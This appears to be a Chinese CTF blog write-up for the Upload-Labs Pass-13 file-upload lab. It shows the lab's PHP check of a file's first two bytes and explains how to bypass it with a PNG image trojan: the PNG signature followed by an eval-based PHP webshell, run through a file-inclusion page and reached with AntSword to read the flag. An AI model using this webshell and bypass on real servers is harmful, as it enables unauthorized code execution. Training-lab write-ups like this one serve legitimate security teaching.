当前位置: 首页 > news >正文

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux

1
点击部署靶机。

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

注意

1.每一关没有固定的通关方法,大家不要自限思维!

2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路。

3.实在没有思路时,可以点击查看提示。

4.如果黑盒情况下,实在做不出,可以点击查看源码。

后续

如在渗透测试实战中遇到新的上传漏洞类型,会更新到upload-labs中。当然如果你也希望参加到这个工作当中,欢迎pull requests给我!

项目地址:https://github.com/c0ny1/upload-labs

任务

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

提示

本pass检查图标内容开头2个字节!

代码

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

解法

传个一句话木马。

<?php @eval($_POST['a']); ?>

提示:文件未知,上传失败!

将后缀改为 .png,再上传。

winhex 创建文件,开头写入 PNG 图像文件签名:

89 50 4E 47 0D 0A 1A 0A

后面接一句话木马。

<?php @eval($_POST['a']); ?>

保存为 .png。上传成功。

右键点击图片,复制图像链接。

http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/upload/8420240430065605.png

访问:

http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>

通过蚁剑连接:

http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/include.php?file=upload/8420240430065605.png

访问根目录。

找到 flag。

Flag

flag{e5c6ec40-25ad-4ef3-bd64-22ae1e9cd061}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

相关文章:

  • Docker打包镜像
  • JavaScript高级——显式原型和隐式原型
  • 自学半年LabVIEW,能搭建出来一个系统吗
  • Datasheet SHT20芯片的数据手册
  • 在深度学习计算机视觉的语义分割中,Boundary和Edge的区别是?
  • 【数学建模】典型相关分析
  • C++ | Leetcode C++题解之第392题判断子序列
  • 2023Idea版本无法下载通义灵码插件以及无法登录问题
  • C++详解string(全面解析)
  • 【虚拟化】KVM-virsh离线工具进行客户机虚拟机磁盘访问
  • 2024年CCPC网络赛 D题个人理解
  • AI绘画笔记
  • Eprime学习【E-basic语言、心理学实验程序设计】
  • 视频回放 | DolphinDB 2024 年度峰会主会场演讲精彩回顾
  • matplotlib画动态图
  • [译]CSS 居中(Center)方法大合集
  • 【EOS】Cleos基础
  • bootstrap创建登录注册页面
  • co模块的前端实现
  • CSS居中完全指南——构建CSS居中决策树
  • Fastjson的基本使用方法大全
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • JavaScript 无符号位移运算符 三个大于号 的使用方法
  • Perseus-BERT——业内性能极致优化的BERT训练方案
  • PV统计优化设计
  • Rancher-k8s加速安装文档
  • react 代码优化(一) ——事件处理
  • SAP云平台运行环境Cloud Foundry和Neo的区别
  • Spring Cloud Alibaba迁移指南(一):一行代码从 Hystrix 迁移到 Sentinel
  • 测试开发系类之接口自动化测试
  • 反思总结然后整装待发
  • 关于Flux,Vuex,Redux的思考
  • 基于组件的设计工作流与界面抽象
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 理解在java “”i=i++;”所发生的事情
  • 力扣(LeetCode)965
  • 聊聊sentinel的DegradeSlot
  • 前端学习笔记之观察者模式
  • 如何在 Tornado 中实现 Middleware
  • 线性表及其算法(java实现)
  • 用 Swift 编写面向协议的视图
  • 在Unity中实现一个简单的消息管理器
  • 字符串匹配基础上
  • elasticsearch-head插件安装
  • ​1:1公有云能力整体输出,腾讯云“七剑”下云端
  • ​TypeScript都不会用,也敢说会前端?
  • # .NET Framework中使用命名管道进行进程间通信
  • #pragma data_seg 共享数据区(转)
  • #快捷键# 大学四年我常用的软件快捷键大全,教你成为电脑高手!!
  • #微信小程序:微信小程序常见的配置传值
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • (13):Silverlight 2 数据与通信之WebRequest
  • (PHP)设置修改 Apache 文件根目录 (Document Root)(转帖)
  • (Qt) 默认QtWidget应用包含什么?
  • (二)springcloud实战之config配置中心